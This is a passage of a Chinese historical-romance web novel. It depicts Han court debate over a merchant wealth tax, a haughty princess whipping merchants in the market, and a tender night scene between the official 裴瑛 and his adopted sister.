故其生活皆仰县官,此种开支颇乃巨费。 同时民间也对此等事颇为不满,但是周文知道,此乃长远之计, 为着是不费一兵一卒便使匈奴归降, 但是如此厚待以往杀伐掠夺汉朝边境城池的匈奴人, 汉朝百姓自然不可能满意。 与此同时,因为汉朝灾难屡发,灾民流离失所无所归依,皇帝更是在救助百姓方面好不吝啬, 往往费以亿计,不可胜数。 更有各方大型工程纷纷上马,所耗民力物力更是不可数计。 周文看了看岁末朝廷的总赋税, 满打满算不过六十七亿,可需要用钱的地方林林总总加起来已然超了百亿, 如此巨大的空缺,叫周文看了直冒冷汗。 同时盐铁官营的项目一直受到阻碍,民间对此颇有怨言,那些个文人常常写些对此不满的诗句来,意图煽动民意,说是朝廷与民争利如何怎样,总之都是那套标准的儒生言论,其后到底目的如何,真的是否是为民争利,还是为着供养他们的豪强大族巩固既得利益,想必已经不言而喻了。 总之一句话,国家财政危机迫在眉睫。 他思忖再三,最后还是联合少府寺将国家目前的财政状况汇报给皇帝,主张先将修筑西南夷道的工程暂时搁置,所有国家财力主要供给北方匈奴战事。 皇帝看后,陷入了沉默,而后一体在搁置修筑西南夷道的上书上批上制曰可,而后又急召丞相谢珩舟,御史大夫裴瑛,廷尉沈蓦以及一班经济大臣前来宣室殿进行了一场如何国家财政的小型朝会。 皇帝负手踱步,随着诸位大臣齐聚,便也坐了下来,屈起指节叩了叩长长的黑玉帝案,道,“如今战事紧急,各方所费资财以累百亿之巨,如此亏空如何补缺。” 帝座右下首位,陆珩舟坐在长案之后,不动声色地观察一众同僚们,显然他并不想先开口。 “丞相有何见解。”皇帝见一众臣工都不说话,登时蹙眉,便把话头放在了陆珩舟身上。 “当此之时,当群策群力,群臣献策,百姓献力。昔年高祖为平息战乱遗祸,安抚百姓,所赋田税为十五税一,今田广民富,或许可稍有提高,以佐国家之急。” 他的话音刚落,廷尉沈蓦立即就站了出来,“丞相此法大为不妥,前朝秦朝的十税一已然招致天怒民怨,如今无故提高赋税,不是要让国家动乱吗!” 陆珩舟为皇帝舅父,如今被沈蓦当殿扣上了让国家动乱的帽子,脸上登时挂不住,忍住拍案而起的怒气,脸上霎时变得冰冷,冷笑一声,“廷尉所言,未免言过其实,以前国家战乱刚息,自然要削减赋税与民生息,如今国家财政有缺,北方战事吃紧,自然要不论群臣百官,还是豪民庶民,自然要群策群力,共克时艰才是,廷尉如此疾言厉色,怕不是对本相有什么意见。” “大人堂堂丞相,下官何敢。”沈蓦军功起家,自然如同战场厮杀一般快人快语,就算眼前是皇帝舅父,汉朝最有名的外戚,他也不会有顾及他的脸色,“如此误国乱邦之策,丞相还是慎之慎之罢。” 陆珩舟的脸色顿时就黑了下来,断然打断他的话,“既然廷尉如此忠心报国,那且说说,如此危局如何解决,光凭你的一腔热血可变不出钱来!” 闻言,沈蓦立即起身,走到大殿中央,朝着皇帝一躬身,高声道,“今国家财政危机,北方战场吃紧,臣请皇帝陛下,以下算缗之令,凡天下富庶之人,共佐国家之急!臣愿以己家之财,为算缗先行,而后在场之众大臣,以为后效!” 沈蓦一连串的话,让陆珩舟登时就坐不住了,他忙不迭朝着皇帝一躬身,厉声道,“算缗之法虽有立即之效,然其后国家动荡不安,弊处远远大于利处啊,彼时若外患未平,则内忧顿起,如此前后夹击,又当如何还请陛下三思!” 皇帝或许也是觉得沈蓦太过激进,若是真的去算官僚贵族之私财,所造成的动荡将不可估量,皇帝深谙此间道理,于是他的目光看向一直没有说话的裴瑛。 “此法,虽有即刻之效,然后患也是无穷。” 裴瑛立即心领神会,便也出列,平稳的声线立即压住了宣室殿里的暗潮涌动,“算缗之策,确实应当,然应对商贾,而不当对以士大夫及各军功将领,其为国效力,更当以资财激励之,骤然算其缗的,必然引起动荡。今天下商人,多以国家无暇顾及其而乘机兴风作浪,借以高利贷而盘剥庶民,又囤货居奇哄抬物价,故臣起皇帝陛下,请行商贾算民之策,先以初算商车,后以初算缗钱,若有隐匿家财之人,当再行告缗之策。” 声音落定,随着尚书郎起草算缗诏书,这次围绕国家财政问题的小型朝会就此落幕,而轰轰烈烈的维持三年的算缗运动则徐徐铺展开来。 宽阔的司马道上,裴瑛与沈蓦走在一处。 青天朗朗,不复阴沉,正好对上了沈蓦那意气风发的脸,也不复大殿之上的步步紧逼之色了。 沈蓦爽朗地笑道,“可算是把陆珩舟这硬骨头啃下来。” 裴瑛也微微勾起唇来,澄澈的晨间阳光洒在他的身上,风轻轻地吹过来,他整个人都如此舒畅,皂色官靴踩在白石砖道上,深绯色官袍也随着风微微摇动着。 “他不愿算商人之缗,那只好算天下人之缗,如此折中,他自然就乐意。” “玄则划策之精实乃天下罕见。”沈蓦一想起方才朝会上陆珩舟黑着的那张脸以及坐立不安的样子就忍不住哈哈大笑起来,“正有道是人人都爱折冲,陆珩舟这个老匹夫也是一样。今日看他那吃瘪的样子哈哈哈。” “沈兄过誉了。”裴瑛在朝永远都是谦虚的,更何况眼前这位九卿之一的沈蓦也算是他曾经的领导。 沈蓦原是中郎将,裴瑛在未发迹时便在沈蓦麾下做过郎官,而沈蓦对这个属官也非常满意,屡次提拔裴瑛,而后来裴瑛的一路升迁也证明了沈蓦确实没有看错人,裴瑛自廷尉直升御史大夫,廷尉的职位也就空缺了下来,于是裴瑛便向皇帝举荐了沈蓦。 而沈蓦也却是证实了他却是一位执法如山公平公正的廷尉,敢于直言上谏,屡次将以丞相为首的外戚集团与外朝儒臣得罪狠了,但是皇帝十分赏识沈蓦,对于那些攻讦沈蓦的话,一般都一只耳朵进一只耳朵出。 “对了,听说玄则你妹妹的库房被人烧了,你可知是何人所为?” 裴瑛叹息道,“我久在朝中,此次明月坊被烧,也怪我疏于对舍妹的关照,实在是我做哥哥的失职,想必不过是商贾同行间的竞争罢了。” “若仅仅如此,便是好的了。”沈蓦的目光望向司马道的尽头,“若是有人故意为之,玄则就得小心应对了。” “多谢沈兄提点。”裴瑛虽然位高权重,但为人一贯谦逊,至少在为人处世上让人捏不住把柄。 “对了,盐铁官营一事,也该当提上日程了。如今国家财政紧缺,多一项进项也好。”沈蓦道。 “此事非同小可,朝廷多次发下去的律令执行都无法彻底,若要盐铁官营,首先就要将个处的阻碍处理掉。” 他的语气很是轻松,但是这话背后,是行将掀起的血雨腥风。 沈蓦沉默了片刻,他也明白,政令不通,主要在在于庙堂的政令无法在各郡国得到实施,究竟是谁在阻挠,或许连沈蓦都不甚清楚,但是他隐隐有所察觉,在这看似平静的水面之上,是逐渐壮大的暗流,终有一日它会浮上水面。 “无论如何,盐铁官营一定要做下去。”沈蓦的声音坚定起来,“今皇帝陛下圣德昭彰,雷霆手段,又有改天换地之心,此等圣明君主,若我等不倾力襄助陛下,不日黄钟毁弃,瓦釜雷鸣,此等之时,纵是万死不辞,又能如何呢?” 裴瑛顿足,侧身向着沈蓦一拱手,低声道,“玄则明白。” “好。”沈蓦同样想着裴瑛一拱手,“你我二人齐心合力,算缗之事后,便当合力推进盐铁官营!” 二人分别以后,沈蓦奉皇帝令往校军场而去,而裴瑛则去了大农令署,再次召集以大农令为首的经济大臣商榷具体的算缗告缗策略,一直到了夕阳衔山之际,裴瑛才从大农令署出来,结果甫一出来,就见自己的侍卫焦急地候在外头。 裴瑛顿感不妙:“发生了什么?” 侍卫抱拳拱手道,“大人,南云长公主与小姐发生口角,小姐受了长公主一鞭!” * 东市依旧人声鼎沸,来自各方的商人都汇聚在此,又听驼铃阵阵,原来是来自西域的商人牵着骆驼来到了长安,用略有些生疏的长安话兜售着来自西域的奇珍。 达官权贵的高车驶过六丈余宽的青石大街,华丽的辎车与珍贵的骏马惹得行人纷纷注目。 正所谓天街通衢飞盖接,宝马香车銮铃响。 一处专司售卖西域香料的铺子处也是人来人往,而裴明绘也与聂妩进了铺子,正听着一位伶牙俐齿的小姑娘讲述着这香料的妙用。 突然间,一些不和谐的声音传了来,裴明绘的眼睛也倏然抬起,偏头看向聚在一处那许多大商模样的人,他们或嬉笑怒骂,或愁眉苦脸,唯一的共同点,就是口中骂着怨着恨着憎着裴瑛。 其中一人说道激动处,不由拍案而起,“我们的钱既不是偷来的也不是抢来的,凭什么他裴瑛要收七成就收七成,这生意还做不做了!” “兄台所言正是我们心中想的啊。”又有一人愁眉苦脸一脸哀怨地附和道,“如今都传要收七成税,如此,跟抄家又有什么两样。” “若收七成,那真连做生意的本钱都没了。” “以裴瑛的性子来看,不收尽天下人的钱,他是不肯善罢甘休的。这等奸大夫,又不知要从中渔利几何!我看,他们打着为国为民,实际上都是想要肥自己的腰包!” “若果真如此,我们干脆不做生意了,让裴瑛自己省事去罢!” 裴明听着,知其大体所论者,皆因算缗之事由裴瑛领衔而招了众商贾之怨怒也。 听着他们咒骂裴瑛,裴明绘心里虽然生气,面上却终究没有表露出来。 “小姐难道不生气?”聂妩问道。 “我生什么气,他们不敢骂皇帝,就只能骂我哥哥了。” 裴明绘淡然道。 “毕竟损了他们的利益,若还不让骂,那怎么行了,只要他们不生事,随他们去罢。” 裴明绘同裴瑛一样,在这些细枝末节的小事十分阔达,左右他们的非议并不能上达天听,何不让他们骂去呢。 左右哥哥又听不见,就算听见了,以哥哥的脾气,也定然不会生气。 既然如此,她自然也就没有必然去管。 只是,这流言传得也太离谱可些,所谓算缗,便是缗两千钱一算,如何算也算不出七成。 裴明绘立即想到,这是有人故意散播流言。 她的眸子沉了沉,眼神示意聂妩与她一道离开。 可就在二人刚刚准备离开之际,一道破空之声突然传来,就听一声撕心裂肺的痛呼,方才那议论裴瑛的最盛的人的脸上平白就多了一条血淋淋的血痕。 “啊——” 血痕瞬间割裂他的面容,无数的血珠飞溅出来,溅到周围的身上,顿时惊起一片尖叫之声。那人捂着血肉模糊的脸倒地,痛苦地翻滚着。 原本围在一处的人顿时化作鸟兽散了。 “本公主且看看,谁还敢说什么!” 凌厉的女声倏忽传来,看客们自觉让出一条道来,一披着斗篷的华贵女子大步而来,就见她着深色缠枝花纹双绕长曲裾,衣裙及地,黑色的流云暗纹腰封用红色系带系起,勾勒出纤细的腰身,黑色的长发用红色的丝线编起坠在两颊旁,更显得女子脸容娇小,金簪金冠富贵逼人,熠熠耀目的金光闪在她的眸子里,像是粼粼金波。 走起路来,腰间悬挂的组玉佩撞在一起,泠泠悦耳。 而后是态度嚣张的扈从,耀武扬威地在人群中分出一条道来。 显然,眼前这位凌厉风行的女子便是最近名声斐然远扬的南云长公主,以其独到的骄奢跋扈而驰名。 “长公主饶命。” 方才那几个饶舌的几人赶忙求饶。 “饶了你们?”南云长公主冷哼一声,“你们算什么东西,也敢妄议国政非议朝廷大臣,找死!” 转眼间扈从便大步而来,将地上跪着的几人押了起来,听候长公主发落。 几人见性命顿时难保,又知这个长公主是个真正的心狠手黑的主,恐怕此事是万万没有转圜的余地了。 几人也算是见过风浪的大商人,生死之际竟也拼出几分反抗豪强贵胄的血性来。 “我呸,什么非议国政,裴瑛不过罪臣之子,靠攀附权贵才又起家,如今为着敛财,无端便要抄了我们家,长公主也就你瞎了眼,看上这个奸大夫!” 南云长公主美丽的面容染上十分的愠怒,一口银牙几乎都要咬碎。 周围观战的人群窃窃私语,不免对这几个勇士多了几分由衷的敬佩,对裴瑛这个奸大夫与嚣张跋扈的长公主遂更加厌恶。 而在人头攒动的人群中的阴影之处,一人缓缓勾起了唇角,笑意恶劣而又邪性,满怀着纯粹的恶意。 裴明绘这下终于明白,裴瑛要娶公主的流言如何来的了,若由南云长公主如此行事,裴瑛的名声真就要不到了。 若真的只是名声也就罢了,可是如此情景,本不该出现在此处全副武装气势汹汹的南云长公主,以及这群大商突兀相聚在此非议裴瑛,再以及走势极为诡异的舆论情况,都让裴明绘心惊胆战。 而就此时,人群中突然爆发出一声声呐喊,就像有人刻意引导一般,“裴瑛罪大恶极,竟要倚仗权势害了无辜之人的性命吗!” 人群中传来一波接着一波为他们摇旗呐喊的声音,那几人见声势陡然转向,便也看见了生的希望,不由更加激动起来,人群也隐隐有了失控的架势,来往者大多为商人,本就对算缗深恶痛绝,今见南云长公主竟为裴瑛肆意打杀商人,不由也齐了心。 南云长公主的扈从登时围在长公主身边,长刀出鞘的金铁振声瞬间震住了人群的骚动。 南云长公主听完了他们的发自肺腑的话,非但没有丝毫的害怕,同时无边愠怒彻底化作冰冷的杀意,就见她冷冷一笑,丹凤眸里闪过一丝冷光,红唇上下一碰,便是利落果决不留余地的命令:“既然如此,不必交由廷尉府审问了,就地处决罢。” 一袭话毕,如同北方寒风摧枯拉朽般横扫而过,所有的话语都终结了。 他隐匿在人群里,笑了笑,转身便要离开。却又在转身之后,听到了突兀传来的声音,脚步瞬间顿住,他不敢置信地转过头去。 第27章 兄妹灯下相谈 裴明绘眼见局势走向不可控地状态, 遂站了出来,先向南云长公主欠身行礼,而后柔声道, “还请长公主手下留情,此等贱民之言, 万不足辱公主尊耳。” “你是谁?”南云长公主觑了她一眼,显然她对着突兀闯入的人并没有多少好意。 裴明绘道,“我乃是明月坊的主事,地位卑微,但见长公主身上这件衣裳,是明月坊的料子, 就想着长公主惠姿压群芳, 在下坊中更有几件新的料子,想起长公主过目。” 她的这番话说得委婉又顺和,按伸手不打笑脸人的道理来说,南云长公主怎么也不该将怒火牵连到裴明绘身上, 可是她自由长在金银堆里, 一见裴明绘又拿几件料子来打搅她, 登时将怒火牵连到她的身上。 “你算什么东西,不过几匹破料子罢了,你竟敢拿此来打搅我,反了你!” “长公主息怒。” 聂妩眼见情势不对, 立即挡在裴明绘身边,向南云长公主赔罪道,“我们筚门闺窦之人, 一时失言,还望长公主恕罪!” “好啊, 穷门小户也敢来此插话了。” 南云长公主勾起冷笑来,她骄横惯了,手上持着的马鞭甚至也是镶这红玛瑙的金手柄的马鞭,不由分说就汇鞭打了过来,长长的鞭子破空而至,眼见就要打在聂妩的脸上,将她美丽的脸庞生生割裂成恐怖的两半。 可是就在恐怖的鞭子要落在聂妩的脸上的时候,一双手却生生攥住了马鞭,随后汩汩的鲜血缓缓流了下来,鞭子上生着恐怖的倒刺,一扎入皮肉便登时便皮开肉绽。 “长公主如此作为,未免有失公主风范了罢。” 裴明绘一向和颜悦色,也秉持着四面玲珑不得罪人的行事风格,可是南云长公主下手如此狠毒,她无论如何都不能坐视不理。 “你……” 南云长公主登时大怒,想要将马鞭拽回来,却发现无论如何用力马鞭都纹丝不动。 “放肆!” 裴明绘一用力,南云长公主一个不妨,反而被她拽的一个踉跄,重重地摔在地上。 周围扈从登时蜂拥而上,整座披香阁瞬间有了剑拔弩张之势,方才义愤填膺的看客们纷纷涌出了出去,生怕被战火波及,只一齐从门外探头看着里头这场好戏。 “给本公主杀了她!” 南云长公主一把撇开马鞭,怒不可遏地吼道。 扈从得了主人吩咐,登时蜂拥而上。 “我看你们谁敢!” 聂妩站了出来,环视四周,厉声道,“我家姑娘是皇帝陛下亲自所题之天下第一义商,伤了我们姑娘,皇帝陛下绝不放过你们!” 眼见对方搬出了皇帝,扈从顿时踟蹰了,他们一致地看向南云长公主。 南云长公主先是惊讶,而后又是一声冷笑,她及其倨傲地看向裴明绘,眼球上下打量了一番,发出一声不屑的哼声。 “原来你就是裴郎的妹妹,不过是借了裴郎的光,一介小吏之女,何德何能有如此称呼。” 她口中的裴郎自然就是裴瑛,她自然也清楚,裴瑛的妹妹是何处的人物。 她自然清楚,裴瑛如何疼爱这个妹妹,可是若是亲生的也就罢了,可偏偏这个妹妹只是一个名不见经传的书吏的女儿。 她曾劝过裴瑛,裴家乃是名门望族,何故叫一小吏之女混了裴家血脉。 一贯好颜色的裴瑛一下子冷下了脸,“承蒙长公主垂询,只裴家满门抄斩血脉几无,臣也不过苟延残喘罢了,若不能为裴家昭雪,哪里又算得了裴家血脉。长公主皇族之后,臣不过布衣之人,何能面谈?” 说罢,裴瑛也不管长公主面上过不过的去,直接挥袖就走了。 长公主顿时就哑了口,她虽说真心为着裴瑛好,想要同他一起复兴裴家,但也知晓当初下令抄家的是自己的父皇,自知理亏,也就不再谈论此事。 可是她虽然不再谈论,并不意味着对就真的将这个妹妹真的看做裴家人。 一个是名门巨室,一个是草芥庶民,又怎么能相提并论呢? “罢了罢了,看见裴郎的面上,就饶你一次。” 南云长公主看向裴明绘的目光多了几分审视,但占据主流的依旧是那鄙夷不屑与厌恶。 她的眼神,与昔日陆珩舟的眼神,一模一样。 这种位高权重的蔑视众生的眼神,让裴明绘几乎要呕出来,可是她如今到底也是处在下位,没有十足的把握能够扳倒南云长公主,若是不敬,只会给裴瑛招来麻烦。 所以,她也只能压下心中的所有的不服,恭恭敬敬地给南云长公主行礼。 “公主宽宏大量。”裴瑛面上带着适宜的微笑,恭敬地双手捧着马鞭奉了上去,“是我唐突了。” 南云长公主秀眉一挑:“这鞭子,就赏你了。” 说罢,一众人等扬长而去。 聂妩赶紧扑过来,掰开裴明绘的手,看着原本秀美白皙的手掌变得血淋淋的,登时心疼不已,赶紧拿了帕子捂住,责怪道,“小姐何必强出头。” “如今长公主不是走了吗?”裴明绘微笑道,虽然手心血肉翻飞一片惨状,火辣辣疼得她直想蹲在地上哀嚎,但到底这里不是哀嚎的地方,她只咬着牙,不让自己痛呼出声。 “走了走了,先找个医馆去上一些止疼的药罢。” 随着长公主的离去,看热闹的人也逐渐散去了。 “这叫什么,大水冲了龙王庙,自家人不认自家人了!” “可不就是吗?如今长公主打了裴瑛妹妹,到时候裴瑛还不知道怎样跟她恼呢?” 人流如潮水般退去,那人却还立在原处,眼见裴明绘的眼风行将扫过,方才转身离去,汇入无边的人群里,消失不见。 聂妩这才拉着快要忍不住的裴明绘火急火燎地去了附近的医馆,赶忙上了止疼的药膏,裴明绘这才从痛苦中解脱出来。 “你看你,非得出头,白了这一鞭子。”聂妩心疼地替她擦了额头上的汗,“你替他们出头,最后他们到成看好戏的了。” “我也不全是为着他们,若真由着长公主的性子,我哥哥的名声就真的烂透了。” “那也是他们自己找事,好端端骂公子做什么。” “左右不过骂上一两句,左右我哥哥都听不见,难得我就真的能够看着长公主要了他们的命,他们左右看戏就看戏,我该做什么还是要做的。” 医者仔细地伤膏敷好,而后有白绢将伤口包扎好,只可惜了,原本秀丽优雅的一只手,如今却成了如此模样。 “回去定要告诉公子。”聂妩一想到方才裴明绘竟然为了她竟然直接去拦马鞭,心疼地落下泪来,她抱住裴明绘,哽咽道,“姑娘千金之躯,何必为我挡这一灾呢。” “好端端的哭什么。”伤口处的药膏舒缓了疼痛,裴明绘道,“姑娘家多好看的一张脸,我怎么可能叫她毁了,长公主下手也真是歹毒,打人直往脸上打。” 酉时一刻,夕阳衔山。 披着一身寒霜,裴瑛匆匆走了过来,看样子,应是得到消失就急忙赶了回来,甚至连身上的官袍都没来得及换下来。 屋子里一灯如豆,裴明绘正在灯下看账簿,无论怎么算,明月坊的缺口都无法堵住,这叫她实在是心烦。 听闻开门声,就见裴瑛走了进来。 “哥哥。” 裴明绘正欲起身,却又被裴瑛按住了肩膀。 “伤口如何。” 他开门见山,直接向裴明绘伸出手来,裴明绘便乖乖将受伤的左手放在他的手上。 裴瑛垂下眼眸来,从一旁拿过伤药来,开始给配明绘换药。 缠绕在手上的丝绢被一圈一圈松开,裴瑛的动作很轻,也很小心,他曾见不知多少明争暗斗杀戮血腥,在怎样恐怖的伤口可是就当这些这巨大的伤口出现她的手上的时候,就像是精美的布帛被卒然撕裂成两半,裴瑛却还是心头一颤,似乎是冷风顺着窗子的缝隙关了进来,一呼一吸间便是冷气逼人。 裴明绘小心翼翼地看着裴瑛,见他脸色十分不好,仿佛这伤是伤在他的身上一般,道,“哥哥,你还好吗?” 裴瑛如梦初醒般抬起了眼,眼里的寒霜还未化去,只艰难地挤出一丝笑来,“无事,子吟,你可还疼?” “不疼。”裴明绘摇了摇头,笑着看着裴瑛,却见他是一副不信的模样,故更开心了,“真的不疼,骗人是小狗。” “骗人。” 裴瑛无奈地笑道。 “真的,哥哥在,我就不疼了。” 裴明绘歪了歪头,满足地看着裴瑛,灯下光辉,美人如画。 “下次不要冲动了,你自己不要事事出头。”裴瑛一抬眼就看见裴明绘抱膝看着他,一脸满足地模样,他心头所有的痛苦都被她这一笑压了下去,但是仍有未能照顾好妹妹的自责停留在心头。 “可算缗如此得罪人,哥哥为什么要牵头呢?” 裴明绘认真地看向裴瑛,看着烛火倒映他的眸子,泛着深沉的光晕。 第28章 兄妹夜话 裴明绘脸上的笑意渐渐淡去, 而真切的忧伤渐渐浮了上来,“如今商贾都骂哥哥,哥哥左右不妨将此得罪人的差事交给别人去做。” “你啊你。”裴瑛的笑容无奈而又宠溺, 看着裴明绘满腹忧愁的模样,忍不住屈起手指来, 轻轻刮了刮她的鼻尖,“有能力做的不愿意做,想要做的又没能力,为兄又得陛下信任,如何能推辞,一番推辞, 怕是官职不保了。” “在其位谋其职, 妹妹明白了。” 裴明绘都明白,她本就心疼裴瑛,可是道理如此明白,她又能说什么。 如今裴家虽说翻案了, 但是陷害裴将军的幕后之人却没有抓住, 哥哥万万不能就此隐退的, 宦海浮沉,纵你想要八面玲珑,处处不得罪人,那是不可能的, 随波逐流之人,只能被历史的波涛淹没。 裴瑛为她上药,垂首认真的模样, 又镀上了灯头的柔光,叫她心醉神迷。 是啊, 再来几个温珩,都比裴瑛的一根发丝。 她不要什么外室了,她也不嫁人了,哥哥太孤独了,独自一人背负着族灭的痛苦,肩负着光复裴家的重任,为她遮蔽了太多太多的风雨。 裴瑛很重要,任何人都比不上。 她本不该有什么超脱世俗的奢望,只是妹妹,只是妹妹…… 只要他在她身边,一切都足够了。 她抱膝看着他,眼睛一眨也不眨。 感受着指尖滑过伤口的清凉,在她心头激起一片又一片的涟漪。 很多人都说裴瑛是个酷吏,执法严苛,又有不少人说他是个坏人,为着自己的前途而诬陷同僚,以保自己官途顺畅,同时在几个诸侯王意图谋反之时,他皆以迅雷不及掩耳之势,率先出击,将行将发生的大规模暴乱压制了下去。 汉朝主张仁义,皇帝虽然主张打击诸侯王,但是也不想让自己看起来对亲戚太绝情,与此同时,裴瑛就成全了皇帝的仁义之名,就在皇帝说要宽恕他的亲戚们时,他便直言劝谏,最后众诸侯王谋反案往往皆穷根本,动辄处死上万人。 恶名远播,人人畏之。 裴明绘明白,庙堂斗争是残酷的,裴瑛做的任何事,都是出于皇帝的旨意,他是皇帝的刀剑,皇帝所向,便是其剑所指。 酷吏,是不需要的道德。 因为,他们的对手,是成千上万的满嘴仁义道德实际无恶不作无利不贪之人。 可是经济方面的改革,却无一不涉及百姓民生,虽然国家庙堂的出发点事打击商贾,可是最后很可能会在恶意歪曲之下,打击的余波会波及到百姓身上,以致百姓不安其胜,故有骚动,而朝廷所收拢的利益,则为奸吏所侵,而后惠及士大夫并各郡国豪强。 而一旦百姓不安,以往她哥哥所得罪的人,一定会打着为国为民的大旗,将裴瑛推出去,借此来平息“民愤”。 “哥哥。”裴瑛轻声道。 “嗯。” 裴瑛温柔地应了一声。 “算缗之事前,我打算再捐上一笔,以裴家的名义。” 裴明绘知道,自己最多在商业上有些建树,可在政治上,她几乎帮不上裴瑛的忙。 “嗯?” 裴瑛抬起了头,黑色的眼睛倒映着裴明绘的担忧的神色,便知道裴明绘又在担心他,不由笑了出来,“不用,如今明月坊损失太重,若再拿出一大笔钱,又怎么东山再起呢?” 洁白的丝绢一寸一寸缠绕,像是洁白的蛛网将她一寸一寸缠绕。 “好了。” 裴瑛将她的手放下,一抬眼,却发现裴明绘依旧在看着她,一双眼睛里满是迷蒙,似乎失于迷津一般。 “刘竺虽是长公主,但是为人浅薄张狂。”裴瑛拂开她额前挡眼的碎发,温柔地说道,“你不必怕她,为兄会替你解决好一切。” 裴明绘无声地点了点头。 “早些休息罢,为兄就不打扰你休息了。” 裴瑛起身,布料摩擦如同春蚕吐丝,一瞬间便让裴明绘惊醒过来。 “哥哥。” 她看着裴瑛越走越远,忍不住叫住了他。 裴瑛回头,眉眼弯弯地望向她。 “嗯?” “……” 太多的话堵在胸口,太多的话想要说,可太多的想要说的话又不能说,所有的话都憋在心里,所有想要呼之欲出的话都徘徊在喉咙里。 裴瑛依旧在等着她的话,很耐心,见她似乎没有想好,也不催促。 “哥哥等等我,我送哥哥出去。” 裴明绘笑了站了起来,而后走了过去,与裴瑛并肩走着。 裴瑛宠溺一笑,将肩上的黑色氅衣披在她的身上,大氅很柔软,带着他的温度,以及独属于他的,那独一无二的幽幽香气。 “好,走罢。” “等等。” 裴明绘披着裴瑛的氅衣,走到大木箱子旁,从箱子里取出早就缝好的白狐裘,抱着它又走回裴瑛身边。 “这是……” 裴瑛微挑了下眉,待看清她怀里的东西,不由露出一抹笑来,无奈道,“我怎好穿女儿家的衣服。” “不,这不是姑娘家的。”裴明绘抬眸看向裴瑛,看着他柔和而又俊美的容颜,压下心中的悸动,又垂了眼帘,一处的风灯的光投下来,照出她纤长的睫影,“这是我专门为哥哥做的,只是尚未来得及给哥哥罢了。” “专门为我做的?”裴瑛讶然。 “嗯。”裴明绘轻轻点了点头,然后将怀中的狐裘披在了他的身上。 他略高她一个头的距离,裴瑛见状,便弯下腰来,让她省力地将狐裘披在他的身上。 毛绒绒的狐裘绕过裴瑛的颈项,裴瑛的目光不由追随着她的手,原本美如玉秀如葱的手却添了极为突兀的白色绢带,原本波澜不惊的眸子瞬间起了狂涛,可是就在他回首,却见裴明绘正自认真地为他系着狐裘的系带,原本横亘在心头的杀意瞬间烟消云散,他的目光也变成了极为和善的噙着笑意的目光,像是一汪浮动着光的澄澈湖水。 裴明绘对上他的目光,心里又是一慌,又垂下了眼来,那日的误会压在心底,直叫她的心底发烫,心里的躁动的火焰顺着经脉蔓延开来,瞬间指尖也燥热起来,原本苍白的脸颊也红了起来。 她又是一慌,生怕裴瑛察觉,赶忙加快手上的动作,岂料心越忙事越忙,原本很容易的一个结,竟然成了死结。 “好了好了。”裴瑛见她焦急之下,额头都冒出了汗,笑着说道,“我来罢。” 他按住她的手,可那异常的温度却让他瞬间抬起眼来。 “你的体温似有些不对?” 他伸出手来,扣住她的后脑,而后他与她额头相贴。 “可是受了风寒?” 骤然变大的俊雅面容毫无顾忌地贴了过来,她的心跳瞬间停止,铺天盖地的他的气息涌了过来,堵塞了她的思维。 几乎是下意识的,她想要向后靠,想要退缩,裴瑛有所察觉,手上微微用力,便让她的头又往前了几寸。 他的吐息落在她的脸上,有些热,又有些痒。 热在面上,痒在心头。 裴明绘生怕裴瑛知道些什么,赶忙偏过头去,轻轻的嗯了一声,却又觉得有些欲盖弥彰,又补了一句,“只是燎炉的火太旺了些。” “那得请医工看看。” 裴瑛的额头离开她的。 “你莫送我了,外头风吹得紧。” “哥哥哪里的话,平日路总不见哥哥,今日难道有些空闲,我也盼着能与哥哥多呆一会儿。” 她说得简单明了,里头的真情叫裴瑛丝毫说不出拒绝的话来。 虽说已经不小了,但到底还是他的妹妹。 裴瑛的手抚过她的鬓角,将她一缕额发捋到耳后,她的目光追随着他的手,潜藏在心底那不为人知的情丝涌动着,生长着。 裴瑛将氅衣替她紧了紧,最后却还忍俊不禁笑了起来,“那子吟就只送我一段路,接下来的路,为兄自己走。” 他们并肩走着,走在回廊之下,廊上每五步悬着一盏风灯,随着冷风的呼啸,它的光影也在风中变幻着,而一旦步出风灯的光芒,水银似的月光立即涌了过来,时冷时暖的光彩交替着,勾勒出二人并肩而行的剪影。 她多有希望现在的时间能过无限延长,这条路能够一直到延伸到天涯海角。 她偏头看向裴瑛,他的侧脸上有一丝微不可查的凝重。 或许有一天,哥哥能够了结裴家的仇恨,他真的可以为自己而活了。 仇恨太过沉重,它可以成就一个人,也可以毁了一个人。 二人停在院门前,裴瑛偏过头来,将披在裴明绘身上的大氅又紧了紧,黑色的毛绒绒的领子顿时拥住了她尖尖的下巴,她抬起眼睛来,纤长的睫影投下来,遮住一半眼眸。 “好好休息。此事,自有为兄处理。”裴瑛温声道。 他走下回廊,走出了院子。 裴瑛缓缓回过头来,看着裴明绘的身影,眸光渐渐暗淡了下来。 这么多年来,他不知明里暗里推了多少求娶裴家女的人。 其中大多为攀附裴家之人,他们都不是真心为着裴明绘而来的,再就是贪慕裴明绘的容颜而来,没有一个人是真心的。 裴瑛不可否认,他确实怀着私心,不想交妹妹交给那些居心叵测之人,因为,这世上,没有人,比他,更在乎她。 只要他还活着,就没有人能动她。 可是,就算他到了御史大夫的位置,就算他位极人臣,却发觉,各种危机却接二连三地走来。 第29章 明绘大梦(一)【大修】 屋外又起了风雪, 呜呜地吹得正唤,想必又是一夜天寒地冻,若是今夜下得不停, 想必定是要积上三寸尚不止。 屋内燎炉熏笼生得正旺,火星不息闪烁着, 带来令人舒适的温暖,厚重的素青色帷幔自帐顶倾泻下来,拢出一个不大不小的温暖的空间,舒软的衾被像是云一样围拢住了熟睡的少女。 她呼吸原本轻得足以被火苗声盖过,可是突然间却又急促起来,但很快便又平复了。 裴明绘算得裴瑛今日休沐, 便欢欢喜喜地亦如寻常时日来找裴瑛。 裴明绘自长廊处拾阶而下, 甫一下来便被猛烈的阳光照得睁不开眼睛,遂抬起手中的绢面小扇作了棚子遮了遮阳光。 蝉声聒噪,听得她心烦意乱。 她走过热气蒸腾的白石砖小路,一路张望, 却未见有一人前来, 往日裴瑛虽然休沐, 可是政事繁忙却是不能真正得空休息的,故随时休沐之时来往官吏书吏也是络绎不绝,裴府前的车马也是一辆方走一辆又来。 她走过立在莲池旁两只亭亭独立的白鹤,两只白鹤又尖又细的嘴巴就转了过来, 黑漆漆的小眼珠便锁准了她,扑闪着翅膀就想飞过来,裴明绘听见翅膀扑棱之声赶忙上了三级小阶, 迈过门槛便进了裴瑛正屋。 晴光正好,阳光透过半开的雕花棂窗, 带着屋外梨花枝的花影一并照亮半面屋子。 